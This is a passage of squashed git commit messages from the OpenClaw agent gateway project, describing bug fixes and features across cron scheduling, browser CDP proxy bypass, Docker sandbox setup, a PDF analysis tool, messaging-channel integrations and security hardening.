a pre-existing issue unrelated to these changes (upstream sync needed).
* fix(cron): use separate schema for failureDestination and fix type cast
- Create CronFailureDestinationSchema excluding after/cooldownMs fields
- Fix type cast in sendFailureNotificationAnnounce to use CronMessageChannel
* fix(cron): merge global failureDestination with partial job overrides
When job has partial failureDestination config, fall back to global
config for unset fields instead of treating it as a full override.
* fix(cron): avoid forcing announce mode and clear inherited to on mode change
- UI: only include mode in patch if explicitly set to non-default
- delivery.ts: clear inherited 'to' when job overrides mode, since URL
semantics differ between announce and webhook modes
* fix(cron): preserve explicit to on mode override and always include mode in UI patches
- delivery.ts: preserve job-level explicit 'to' when overriding mode
- UI: always include mode in failureAlert patch so users can switch between announce/webhook
* fix(cron): allow clearing accountId and treat undefined global mode as announce
- UI: always include accountId in patch so users can clear it
- delivery.ts: treat undefined global mode as announce when comparing for clearing inherited 'to'
* Cron: harden failure destination routing and add regression coverage
* Cron: resolve failure destination review feedback
* Cron: drop unrelated timeout assertions from conflict resolution
* Cron: format cron CLI regression test
* Cron: align gateway cron test mock types
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(security): recognize localized Windows SYSTEM account in ACL audit
On non-English Windows (e.g. French "AUTORITE NT\Système"), the security
audit falsely reports fs.config.perms_writable because the localized
SYSTEM account name is not recognized as trusted.
Changes:
- Add common localized SYSTEM principal names (French, German, Spanish,
Portuguese) to TRUSTED_BASE
- Add diacritics-stripping fallback in classifyPrincipal for unhandled
locales
- Use well-known SID *S-1-5-18 in icacls reset commands instead of
hardcoded "SYSTEM" string for locale independence
Fixes#29681
* style: format windows acl files
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Only restore env vars when we actually modified them (noProxyDidModify
flag). Prevents silently deleting a user's NO_PROXY that already
contains loopback entries. Added regression test.
Fix Greptile review: when call A exits before call B, the isFirst flag
on B is false, so the restore condition (refCount===0 && isFirst) was
never true and NO_PROXY leaked permanently.
Remove '&& isFirst' so any last exiter (refCount===0) restores the
original env vars. Added explicit reverse-exit-order regression test.
Address Greptile review feedback:
- Replace snapshot/restore pattern with reference counter to prevent
permanent NO_PROXY env-var leak under concurrent async calls
- Include [::1] in the alreadyCoversLocalhost guard
- Add concurrency regression test
When HTTP_PROXY / HTTPS_PROXY / ALL_PROXY environment variables are set,
CDP connections to localhost/127.0.0.1 can be incorrectly routed through
the proxy (e.g. via global-agent or undici proxy dispatcher), causing
browser control to fail.
Fix:
- New cdp-proxy-bypass module with utilities for direct localhost connections
- WebSocket (ws) CDP connections: pass explicit http.Agent to bypass any
global proxy agent patching
- fetch-based CDP probes: wrap in withNoProxyForLocalhost() to temporarily
set NO_PROXY for the duration of the call
- Playwright connectOverCDP: wrap in withNoProxyForLocalhost() since
Playwright reads env vars internally
- 13 new tests covering getDirectAgentForCdp, hasProxyEnv, and
withNoProxyForLocalhost (env save/restore, error recovery)
When a Chrome relay targetId becomes stale between snapshot and action,
the browser tool now retries once without targetId so the relay falls
back to the currently attached tab.
Drop the unknown recovered field from the test mock return value
to satisfy tsc strict checking against BrowserActResponse.
Add recomputeNextRunsForMaintenance() call in run() so that stale
runningAtMs markers (from a crashed Phase-1 persist) are cleared by the
existing normalizeJobTickState logic before the already-running guard.
Without this, a manual cron.run() could be blocked for up to
STUCK_RUN_MS (2 hours) even though no job was actually running.
Fixes#17554
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* fix(cron): wrap computeJobNextRunAtMs in try-catch inside applyJobResult
Without this guard, if the croner library throws during schedule
computation (timezone/expression edge cases), the exception propagates
out of applyJobResult and the entire state update is lost — runningAtMs
never clears, lastRunAtMs never advances, nextRunAtMs never recomputes.
After STUCK_RUN_MS (2h), stuck detection clears runningAtMs and the job
re-fires, creating a ~2h repeat cycle instead of the intended schedule.
The sibling function recomputeJobNextRunAtMs in jobs.ts already wraps
computeJobNextRunAtMs in try-catch; this was an oversight in the
applyJobResult call sites.
Changes:
- Error-backoff path: catch and fall back to backoff-only schedule
- Success path: catch and fall through to the MIN_REFIRE_GAP_MS safety net
- applyOutcomeToStoredJob: log a warning when job not found after forceReload
* fix(cron): use recordScheduleComputeError in applyJobResult catch blocks
Address review feedback: the original catch blocks only logged a warning,
which meant a persistent computeJobNextRunAtMs throw would cause a
MIN_REFIRE_GAP_MS (2s) hot loop on cron-kind jobs.
Now both catch blocks call recordScheduleComputeError (exported from
jobs.ts), which tracks consecutive schedule errors and auto-disables the
job after 3 failures — matching the existing behavior in
recomputeJobNextRunAtMs.
* test(cron): cover applyJobResult schedule-throw fallback paths
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(cron): skip isError payloads when picking summary/delivery content
buildEmbeddedRunPayloads appends isError warnings as the last payload.
Three functions in helpers.ts iterate last-to-first and pick the error
over real agent output. Use two-pass selection: prefer non-error payloads,
fall back to error-only when no real content exists.
Fixes: pickSummaryFromPayloads, pickLastNonEmptyTextFromPayloads,
pickLastDeliverablePayload — all now accept and filter isError.
* Changelog: note cron payload isError filtering (#21454)
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* cron: treat announce delivery failure as ok when agent execution succeeded
* fix: set delivered:false and error on announce delivery failure paths
* Changelog: note cron announce delivery status handling (#31082)
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(cron): use longer default timeout for cron run --expect-final
* test(cron-cli): stabilize cron run timeout assertions with explicit run exits
---------
Co-authored-by: Kelly Baker <kelly@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* test: fix typing and test fixture issues
* Fix type-test harness issues from session routing and mock typing
* Add routing regression test for session.mainKey precedence
* fix(browser): include Chrome stderr and sandbox hint in CDP startup error (#29312)
When Chrome fails to start and CDP times out, the error message previously
contained no diagnostic information, making it impossible to determine why
Chrome couldn't start (e.g. missing --no-sandbox in containers, GPU issues,
shared memory errors).
This change:
- Collects Chrome's stderr output and includes up to 2000 chars in the error
- On Linux, if noSandbox is not set, appends a hint to try browser.noSandbox: true
Closes#29312
* chore(browser): format chrome startup diagnostics
* fix(browser): detach stderr listener after Chrome starts to prevent memory leak
Named the anonymous listener so it can be removed via proc.stderr.off()
once CDP is confirmed reachable. Also clears the stderrChunks array on
success so the buffered data is eligible for GC.
Fixes the unbounded memory growth reported in code review: a long-lived
Chrome process emitting periodic warnings would keep appending to
stderrChunks indefinitely since the listener was never removed.
Addresses review comment from chatgpt-codex-connector on PR #29355.
* changelog: note cdp startup diagnostics improvement
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: 派尼尔 <painier@openclaw.ai>
* feat(docker): add opt-in sandbox support for Docker deployments
Enable Docker-based sandbox isolation via OPENCLAW_SANDBOX=1 env var
in docker-setup.sh. This is a prerequisite for agents.defaults.sandbox
to function in any Docker deployment (self-hosted, Hostinger, DigitalOcean).
Changes:
- Dockerfile: add OPENCLAW_INSTALL_DOCKER_CLI build arg (~50MB, opt-in)
- docker-compose.yml: add commented-out docker.sock mount with docs
- docker-setup.sh: auto-detect Docker socket, inject mount, detect GID,
build sandbox image, configure sandbox defaults, add group_add
All changes are opt-in. Zero impact on existing deployments.
Usage: OPENCLAW_SANDBOX=1 ./docker-setup.sh
Closes#29933
Related: #7575, #7827, #28401, #10361, #12505, #28326
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: address code review feedback on sandbox support
- Persist OPENCLAW_SANDBOX, DOCKER_GID, OPENCLAW_INSTALL_DOCKER_CLI
to .env via upsert_env so group_add survives re-runs
- Show config set errors instead of swallowing them silently;
report partial failure when sandbox config is incomplete
- Warn when Dockerfile.sandbox is missing but sandbox config
is still applied (sandbox image won't exist)
- Fix non-canonical whitespace in apt sources.list entry
by using printf instead of echo with line continuation
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: remove `local` outside function and guard sandbox behind Docker CLI check
- Remove `local` keyword from top-level `sandbox_config_ok` assignment
which caused script exit under `set -euo pipefail` (bash `local`
outside a function is an error)
- Add Docker CLI prerequisite check for pre-built (non-local) images:
runs `docker --version` inside the container and skips sandbox setup
with a clear warning if the CLI is missing
- Split sandbox block so config is only applied after prerequisites pass
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: defer docker.sock mount until sandbox prerequisites pass
Move Docker socket mounting from the early setup phase (before image
build/pull) to a dedicated compose overlay created only after:
1. Docker CLI is verified inside the container image
2. /var/run/docker.sock exists on the host
Previously the socket was mounted optimistically at startup, leaving
the host Docker daemon exposed even when sandbox setup was later
skipped due to missing Docker CLI. Now the gateway starts without
the socket, and a docker-compose.sandbox.yml overlay is generated
only when all prerequisites pass. The gateway restart at the end of
sandbox setup picks up both the socket mount and sandbox config.
Also moves group_add from write_extra_compose() into the sandbox
overlay, keeping all sandbox-specific compose configuration together.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* docs(docker): fix sandbox docs URL in setup output
* Docker: harden sandbox setup fallback behavior
* Tests: cover docker-setup sandbox edge paths
* Docker: roll back sandbox mode on partial config failure
* Tests: assert sandbox mode rollback on partial setup
* Docs: document Docker sandbox bootstrap env controls
* Changelog: credit Docker sandbox bootstrap hardening
* Update CHANGELOG.md
* Docker: verify Docker apt signing key fingerprint
* Docker: avoid sandbox overlay deps during policy writes
* Tests: assert no-deps sandbox rollback gateway recreate
* Docs: mention OPENCLAW_INSTALL_DOCKER_CLI in Docker env vars
---------
Co-authored-by: Jakub Karwowski <jakubkarwowski@Mac.lan>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
In headless or noSandbox server environments (like Ubuntu Server), the
Chrome extension relay cannot work because there is no GUI browser to
attach to. Previously, the default profile was 'chrome' (extension relay)
which caused snapshot/screenshot operations to fail with:
'Chrome extension relay is running, but no tab is connected...'
This fix prefers the 'openclaw' profile (Playwright native mode) when
browser.headless=true or browser.noSandbox=true, while preserving the
'chrome' default for GUI environments where extension relay works.
Fixes: https://github.com/openclaw/openclaw/issues/14895🤖 AI-assisted (Claude), fully tested: pnpm build && pnpm check && pnpm test
* feat: add PDF analysis tool with native provider support
New `pdf` tool for analyzing PDF documents with model-powered analysis.
Architecture:
- Native PDF path: sends raw PDF bytes directly to providers that support
inline document input (Anthropic via DocumentBlockParam, Google Gemini
via inlineData with application/pdf MIME type)
- Extraction fallback: for providers without native PDF support, extracts
text via pdfjs-dist and rasterizes pages to images via @napi-rs/canvas,
then sends through the standard vision/text completion path
Key features:
- Single PDF (`pdf` param) or multiple PDFs (`pdfs` array, up to 10)
- Page range selection (`pages` param, e.g. "1-5", "1,3,7-9")
- Model override (`model` param) and file size limits (`maxBytesMb`)
- Auto-detects provider capability and falls back gracefully
- Same security patterns as image tool (SSRF guards, sandbox support,
local path roots, workspace-only policy)
Config (agents.defaults):
- pdfModel: primary/fallbacks (defaults to imageModel, then session model)
- pdfMaxBytesMb: max PDF file size (default: 10)
- pdfMaxPages: max pages to process (default: 20)
Model catalog:
- Extended ModelInputType to include "document" alongside "text"/"image"
- Added modelSupportsDocument() capability check
Files:
- src/agents/tools/pdf-tool.ts - main tool factory
- src/agents/tools/pdf-tool.helpers.ts - helpers (page range, config, etc.)
- src/agents/tools/pdf-native-providers.ts - direct API calls for Anthropic/Google
- src/agents/tools/pdf-tool.test.ts - 43 tests covering all paths
- Modified: model-catalog.ts, openclaw-tools.ts, config schema/types/labels/help
* fix: prepare pdf tool for merge (#31319) (thanks @tyler6204)
Keep extension relay tab metadata available across short extension worker drops and allow CDP clients to connect while waiting for reconnect. This prevents false "no tab connected" failures in environments where the extension worker disconnects transiently (e.g. WSLg/MV3).
Gateway browser.request only read profile from query.profile before invoking
browser.proxy on nodes. Calls that passed profile in POST body silently fell
back to the default profile, which could switch users into chrome extension
mode even when they explicitly requested openclaw profile.
Use query profile first, then fall back to body.profile when present.
Closes#28687
When an OAuth auth profile returns HTTP 403 with permission_error
(e.g. expired plan), the error was not matched by the authPermanent
patterns. This caused the profile to receive only a short cooldown
instead of being disabled, so the gateway kept retrying the same
broken profile indefinitely.
Add "permission_error" and "not allowed for this organization" to
the authPermanent error patterns so these errors trigger the longer
billing/auth_permanent disable window and proper profile rotation.
Closes#31306
Made-with: Cursor
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* docs: add Vercel sponsorship
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* docs: fix README formatting
* docs: resize Vercel sponsor logo to match other logos
* docs: scale down Vercel SVG viewBox to match other sponsor logos
* Fixed ordering.
* md error fix
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
browser start for driver=extension required websocket tab attachment during
ensureBrowserAvailable, which can deadlock startup because tabs can only
attach after relay startup succeeds.
For extension profiles, only require relay HTTP reachability in startup and
leave tab attachment checks to ensureTabAvailable when a concrete tab action
is requested.
Closes#28701
Retry browser navigate once after transient frame-detached/target-closed errors by forcing a clean Playwright reconnect, so extension-relay sessions stay controllable across navigation swaps.
Closes#29431
* fix: use 0o644 for inbound media files to allow sandbox read access
Inbound media files were saved with 0o600 permissions, making them
unreadable from Docker sandbox containers running as different users.
Change to 0o644 (world-readable) so sandboxed agents can access
downloaded attachments.
Fixes#17941
Co-Authored-By: Claude <noreply@anthropic.com>
* test(media): assert URL-sourced inbound files use 0o644
* test(media): make redirect file-mode assertion platform-aware
* docs(media): clarify 0o644 is for sandbox UID compatibility
---------
Co-authored-by: zerone0x <zerone0x@users.noreply.github.com>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
On gateway restart, persisted non-terminal calls are now verified with
the provider (Twilio/Plivo/Telnyx) before being restored to memory.
This prevents phantom calls from blocking the concurrent call limit.
- Add getCallStatus() to VoiceCallProvider interface
- Implement for all providers with SSRF-guarded fetch
- Transient errors (5xx, network) keep the call with timer fallback
- 404/known-terminal statuses drop the call
- Restart max-duration timers for restored answered calls
- Skip calls older than maxDurationSeconds or without providerCallId
* fix(browser): skip port ownership check for remote CDP profiles
When a browser profile has a non-loopback cdpUrl (e.g. Browserless,
Kubernetes sidecar, or any external CDP service), the port-ownership
check incorrectly fires because we don't "own" the remote process.
This causes "Port is in use but not by openclaw" even though the
remote CDP service is working and reachable.
Guard the ownership error with !remoteCdp so remote profiles fall
through to the WebSocket retry/attach logic instead.
Fixes#15582
* fix: add TypeScript null guard for profileState.running
* chore(changelog): note remote CDP ownership fix credits
Refs #15582
* Update CHANGELOG.md
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(gateway): skip device pairing for local backend self-connections
When gateway.tls is enabled, sessions_spawn (and other internal
callGateway operations) creates a new WebSocket to the gateway.
The gateway treated this self-connection like any external client
and enforced device pairing, rejecting it with "pairing required"
(close code 1008). This made sub-agent spawning impossible when
TLS was enabled in Docker with bind: "lan".
Skip pairing for connections that are gateway-client self-connections
from localhost with valid shared auth (token/password). These are
internal backend calls (e.g. sessions_spawn, subagent-announce) that
already have valid credentials and connect from the same host.
Closes#30740
* gateway: tighten backend self-pair bypass guard
* tests: cover backend self-pairing local-vs-remote auth path
* changelog: add gateway tls pairing fix credit
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: detect PID recycling in session write lock staleness check
The session lock uses isPidAlive() to determine if a lock holder is
still running. In containers, PID recycling can cause a different
process to inherit the same PID, making the lock appear valid when
the original holder is dead.
Record the process start time (field 22 of /proc/pid/stat) in the
lock file and compare it during staleness checks. If the PID is alive
but its start time differs from the recorded value, the lock is
treated as stale and reclaimed immediately.
Backward compatible: lock files without starttime are handled with
the existing PID-alive + age-based logic. Non-Linux platforms skip
the starttime check entirely (getProcessStartTime returns null).
* shared: harden pid starttime parsing
* sessions: validate lock pid/starttime payloads
* changelog: note recycled PID lock recovery fix
* changelog: credit hiroki and vincent on lock recovery fix
---------
Co-authored-by: HirokiKobayashi-R <hiroki@rhems-japan.co.jp>
* fix(cron): guard against year-rollback in croner nextRun
Croner can return a past-year timestamp for some timezone/date
combinations (e.g. Asia/Shanghai). When nextRun returns a value at or
before nowMs, retry from the next whole second and, if still stale,
from midnight-tomorrow UTC before giving up.
Closes#30351
* googlechat: guard API calls with SSRF-safe fetch
* test: fix hoisted plugin context mock setup
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(agents): support `thinkingDefault: "adaptive"` for Anthropic models
Anthropic's Opus 4.6 and Sonnet 4.6 support adaptive thinking where the
model dynamically decides when and how much to think. This is now
Anthropic's recommended mode and `budget_tokens` is deprecated on these
models.
Add "adaptive" as a valid thinking level:
- Config: `agents.defaults.thinkingDefault: "adaptive"`
- CLI: `/think adaptive` or `/think auto`
- Pi SDK mapping: "adaptive" → "medium" effort at the pi-agent-core
layer, which the Anthropic provider translates to
`thinking.type: "adaptive"` with `output_config.effort: "medium"`
- Provider fallbacks: OpenRouter and Google map "adaptive" to their
respective "medium" equivalents
Closes#30880
Made-with: Cursor
* style(changelog): format changelog with oxfmt
* test(types): fix strict typing in runtime/plugin-context tests
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* docs(gateway): document Docker bridge networking and loopback bind caveat
The default loopback bind makes the gateway unreachable with Docker
bridge networking because port-forwarded traffic arrives on eth0, not
lo. Add a note in both the Dockerfile and the configuration reference
explaining the workarounds (--network host or bind: lan).
Fixes#27950
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* docs(docker): note legacy gateway.bind alias migration
* docs(gateway): clarify legacy bind alias auto-migration
* docs(docker): require bind mode values in gateway.bind
* docs(gateway): avoid bind alias auto-migration claim
* changelog: add #28001 docker bind docs credit
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* Fix onboard ignoring OPENCLAW_GATEWAY_TOKEN env var
When running onboard via docker-setup.sh, the QuickStart wizard
generates its own 48-char token instead of using the 64-char token
already set in OPENCLAW_GATEWAY_TOKEN. This causes a token mismatch
that breaks all CLI commands after setup.
Check process.env.OPENCLAW_GATEWAY_TOKEN before falling back to
randomToken() in both the interactive QuickStart path and the
non-interactive path.
Closes#22638
Co-authored-by: Clawborn <tianrun.yang103@gmail.com>
* Tests: cover quickstart env token fallback
* Changelog: note docker onboarding token parity fix
* Tests: restore env var after non-interactive token fallback test
* Update CHANGELOG.md
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(secrets): normalize inline SecretRef token/key to tokenRef/keyRef in runtime snapshot
When auth-profiles.json uses an inline SecretRef as the token or key
value directly (e.g. `"token": {"source":"file",...}`), the resolved
plaintext was written back to disk on every updateAuthProfileStoreWithLock
call, overwriting the SecretRef.
Root cause: collectTokenProfileAssignment and collectApiKeyProfileAssignment
detected inline SecretRefs but did not promote them to the canonical
tokenRef/keyRef fields. saveAuthProfileStore only strips plaintext when
tokenRef/keyRef is set, so the inline case fell through and persisted
plaintext on every save.
Fix: when an inline SecretRef is detected and no explicit tokenRef/keyRef
exists, promote it to the canonical field and delete the inline form.
saveAuthProfileStore then correctly strips the resolved plaintext on write.
Fixes#29108
* fix test: cast inline SecretRef loadAuthStore mocks to AuthProfileStore
* fix(secrets): fix TypeScript type error in runtime test loadAuthStore lambda
* test(secrets): keep explicit keyRef precedence over inline key ref
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Some OpenAI-format providers (via pi-ai) pre-subtract cached_tokens from
prompt_tokens upstream. When cached_tokens exceeds prompt_tokens due to
provider inconsistencies the subtraction produces a negative input value
that flows through to the TUI status bar and /usage dashboard.
Clamp rawInput to 0 in normalizeUsage() so downstream consumers never
see nonsensical negative token counts.
Closes#30765
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When gateway.controlUi.allowedOrigins is set to ["*"], the Control UI
WebSocket was still rejected with "origin not allowed" for any non-
loopback origin (e.g. Tailscale IPs, LAN addresses).
Root cause: checkBrowserOrigin() compared each allowedOrigins entry
against the parsed request origin via a literal Array#includes(). The
entry "*" never equals an actual origin string, so the wildcard was
silently ignored and all remote connections were blocked.
Fix: check for the literal "*" entry before the per-origin comparison
and return ok:true immediately when found.
Closes#30990
Assign distinct sentinel registration ids to Discord wildcard handlers while preserving wildcard parser keys, so select/menu/modal handlers no longer get dropped on runtimes that dedupe by raw customId.
Preserve inbound attachment/sticker metadata in Discord message context when media download fails (for example due to SSRF blocking), so agents still see file references instead of silent drops.
Closes#28816
The `replyToMessageIdForPayload` was computed once outside the chunk
and media loops, so all chunks received the same reply-to ID even when
replyToMode was set to "first". This replaces the static binding with
a lazy `resolveReplyTo()` function that checks `hasReplied` at each
send site, and updates `hasReplied` immediately after the first
successful send.
Fixes#31039
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
GitHub Copilot API tokens expire after ~30 minutes. When OpenClaw spawns
a long-running subagent using Copilot as the provider, the token would
expire mid-session with no recovery mechanism, causing 401 auth errors.
This commit adds:
- Periodic token refresh scheduled 5 minutes before expiry
- Auth error detection with automatic token refresh and single retry
- Proper timer cleanup on session shutdown to prevent leaks
The implementation uses a per-attempt retry flag to ensure each auth
error can trigger one refresh+retry cycle without creating infinite
retry loops.
🤖 AI-assisted: This fix was developed with GitHub Copilot CLI assistance.
Testing: Fully tested with 3 new unit tests covering auth retry, retry
reset, and timer cleanup scenarios. All 11 auth rotation tests pass.
Previously, only ETIMEDOUT / ESOCKETTIMEDOUT / ECONNRESET / ECONNABORTED
were recognised as failover-worthy network errors. Connection-level
failures such as ECONNREFUSED (server down), ENETUNREACH / EHOSTUNREACH
(network disconnected), ENETRESET, and EAI_AGAIN (DNS failure) were
treated as unknown errors and did not advance the fallback chain.
This is particularly impactful when a local fallback model (e.g. Ollama)
is configured: if the remote provider is unreachable due to a network
outage, the gateway should fall back to the local model instead of
returning an error to the user.
Add the missing error codes to resolveFailoverReasonFromError() and
corresponding e2e tests.
Closes#18868
In multi-account Telegram configurations, `mergeTelegramAccountConfig()`
performs a shallow merge of channel-level config onto each account. This
causes channel-level `groups` to be inherited by ALL accounts, including
those whose bots are not members of the configured groups.
When a secondary bot attempts to handle group messages for a group it is
not in, the failure disrupts message delivery for all accounts — causing
silent message loss with no errors in logs.
Fix: exclude `groups` from the base spread (like `accounts` already is)
and only apply channel-level groups as fallback in single-account setups
for backward compatibility. Multi-account setups must use account-level
groups config.
Added 5 test cases covering single-account inheritance, multi-account
isolation, account-level priority, and backward compatibility.
Fixes#30673
When groupPolicy is "allowlist", the sender allowlist empty-entries
guard ran before the chat-level allowlist check. This caused groups
that were explicitly configured in the groups config to be silently
rejected when no allowFrom / groupAllowFrom entries existed.
Move the checkChatAllowlist block before the sender allowlist guard
and introduce a chatExplicitlyAllowed flag that distinguishes a
dedicated group entry (groupConfig is set) from a wildcard-only
match. When the chat is explicitly allowed and no sender entries
exist, skip the sender check entirely — the group ID itself acts
as the authorization.
Fixes#30613.
When TTS text exceeds Telegram's 1024-char caption limit, sendVoice
throws "message caption is too long" and the entire reply (voice +
text) is lost. Now catch this specific error, resend the voice note
without caption, then deliver the full text as a separate message.
Closes#30980
Made-with: Cursor
* fix(docker): ensure agent directory permissions in docker-setup.sh
* fix(docker): restrict chown to config-dir mount, not workspace
The previous 'chown -R node:node /home/node/.openclaw' call crossed into
the workspace bind mount on Linux hosts, recursively rewriting ownership
of all user project files in the workspace directory.
Fix: use 'find -xdev' to restrict chown to the config-dir filesystem
only (won't cross bind-mount boundaries). Then separately chown only
the OpenClaw metadata subdirectory (.openclaw/) within the workspace,
leaving the user's project files untouched.
Addresses review comment on PR #28841.
Address review feedback: only fall back to token-based ID extraction
on transport/timeout errors (catch block), not on HTTP auth failures
(401/403) which should fail fast to surface credential issues early.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Cover valid tokens, large snowflake IDs exceeding MAX_SAFE_INTEGER,
Bot-prefixed tokens, and various invalid/edge-case inputs.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When the Discord API call to /oauth2/applications/@me fails (timeout,
network error), the bot fails to start with "Failed to resolve Discord
application id". Add a fallback that extracts the application ID by
base64-decoding the first segment of the bot token, keeping it as a
string to avoid precision loss for snowflake IDs exceeding
Number.MAX_SAFE_INTEGER (2^53 - 1).
Fixes#29608
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Forum channels that require tags fail with "A tag is required" when
creating threads because there was no way to pass tag IDs. Add
appliedTags parameter to the thread-create action so forum posts can
include required tags from the channel's available_tags list.
* fix(gateway): support wildcard in controlUi.allowedOrigins for remote access
* build: regenerate host env security policy swift
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(signal): prevent sentTranscript sync messages from bypassing loop protection
Issue: #31084
On daemon restart, sentTranscript sync messages could bypass loop protection
because the syncMessage check happened before the sender validation. This
reorganizes the checks to:
1. First resolve the sender (phone or UUID)
2. Check if the message is from our own account (both phone and UUID)
3. Only skip sync messages from other sources after confirming not own account
This ensures that sync messages from the own account are properly filtered
to prevent self-reply loops, while still allowing messages synced from other
devices to be processed.
Added optional accountUuid config field for UUID-based account identification.
* fix(signal): cover UUID-only own-message loop protection
* build: regenerate host env security policy swift
---------
Co-authored-by: Kevin Wang <kevin@example.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: handle CLI session expired errors gracefully
- Add session_expired to FailoverReason type
- Add isCliSessionExpiredErrorMessage to detect expired CLI sessions
- Modify runCliAgent to retry with new session when session expires
- Update agentCommand to clear expired session IDs from session store
- Add proper error handling to prevent gateway crashes on expired sessions
Fixes#30986
* fix: add session_expired to AuthProfileFailureReason and missing log import
* fix: type cli-runner usage field to match EmbeddedPiAgentMeta
* fix: harden CLI session-expiry recovery handling
* build: regenerate host env security policy swift
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* Doctor state: warn on Linux SD or eMMC state mounts
* Doctor tests: cover Linux SD or eMMC state mount detection
* Docs doctor: document Linux SD or eMMC state warning
* Changelog: add Linux SD or eMMC doctor warning
* Update CHANGELOG.md
* Doctor: escape mountinfo control chars in SD warning
* Doctor tests: cover escaped mountinfo control chars
The .catch() handler now covers both early and late failures:
- Within 2s: sets settled=true, startup throws to caller
- After 2s: sets params.state.started=false so subsequent
resolveSharedMatrixClient() calls detect the dead client
Removed redundant second .catch() — single handler covers all cases.
Codex review feedback: ensureSharedClientStarted now throws the error
from client.start() if it rejects during the 2s grace window, so
resolveSharedMatrixClient() properly reports failure (e.g. bad token,
unreachable homeserver) instead of leaving the provider in a
running-but-not-syncing state.
## Changes
### 1. Fix client.start() hanging forever (shared.ts)
The bot-sdk's `client.start()` returns a promise that never resolves
(infinite sync loop). The plugin awaited it, blocking the entire provider
startup — `logged in as` never printed, no messages were processed.
Fix: fire-and-forget with error handler + 2s initialization delay.
### 2. Fix DM false positive for 2-member rooms (direct.ts)
`memberCount === 2` heuristic misclassified explicitly configured group
rooms as DMs when only bot + one user were joined. Messages were routed
through DM policy and silently dropped.
Fix: remove member count heuristic; only trust `m.direct` account data
and `is_direct` room state flag.
Ref: #20145
### 3. Prevent duplicate event listener registration (events.ts)
When both bundled channel plugin and extension load, listeners were
registered twice on the same shared client, causing inconsistent state.
Fix: WeakSet guard to skip registration if client already has listeners.
Ref: #18330
### 4. Add startup grace period (index.ts)
`startupGraceMs = 0` dropped messages timestamped during async setup.
Especially problematic with Conduit which retries on `M_NOT_FOUND`
during filter creation.
Fix: 5-second grace period.
### 5. Fix room ID case sensitivity with Conduit (index.ts)
Room IDs (`!xyz`) without `:server` suffix failed the
`includes(':')` check and were sent to `resolveMatrixTargets`, which
called Conduit's `resolveRoom` — returning lowercased IDs. The bot-sdk
emits events with original-case IDs, causing config lookup mismatches
and reply delivery failures (`M_UNKNOWN: non-create event for room of
unknown version`).
Fix: treat `!`-prefixed entries as room IDs directly (skip resolution).
Only resolve `#alias:server` entries.
## Testing
Tested with Conduit homeserver (lightweight Rust Matrix server).
All fixes verified with gateway log tracing:
- `logged in as @arvi:matrix.local` — first successful login
- `room.message` events fire and reach handler
- Room config matching returns `allowed: true`
- Agent generates response and delivers it to Matrix room
* fix(docker): harden /app/extensions permissions to 755
Bundled extension directories shipped as world-writable (mode 777)
in the Docker image. The plugin security scanner blocks any world-
writable path with:
WARN: blocked plugin candidate: world-writable path
(/app/extensions/memory-core, mode=777)
Add chmod -R 755 /app/extensions in the final USER root RUN step so
all bundled extensions are readable but not world-writable. This runs
as root before switching back to the node user, matching the pattern
already used for chmod 755 /app/openclaw.mjs.
Fixes#30139
* fix(docker): normalize plugin and agent path permissions
* docs(changelog): add docker permissions entry for #30191
* Update CHANGELOG.md
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* Doctor: detect macOS cloud-synced state directories
* Doctor tests: cover cloud-synced macOS state detection
* Docs: note cloud-synced state warning in doctor guide
* Docs: recommend local macOS state dir placement
* Changelog: add macOS cloud-synced state dir warning
* Changelog: credit macOS cloud state warning PR
* Doctor state: anchor cloud-sync roots to macOS home
* Doctor tests: cover OPENCLAW_HOME cloud-sync override
* Doctor state: prefer resolved target for cloud detection
* Doctor tests: cover local-target cloud symlink case
* fix(slack): use thread-level sessions for channels to prevent context mixing
All messages in a Slack channel share a single session, causing context from
different threads to mix together. When users have multiple conversations in
different threads of the same channel, the agent sees combined context from
all threads, leading to confused responses.
Session key was: `slack:channel:${channelId}` (no thread identifier)
1. **Thread-level session keys**: Each message in channels/groups now gets
its own session based on thread_ts:
- Thread replies: use the parent thread's ts
- New messages: use the message's own ts (becomes thread root)
- DMs: unchanged (no thread-level sessions needed)
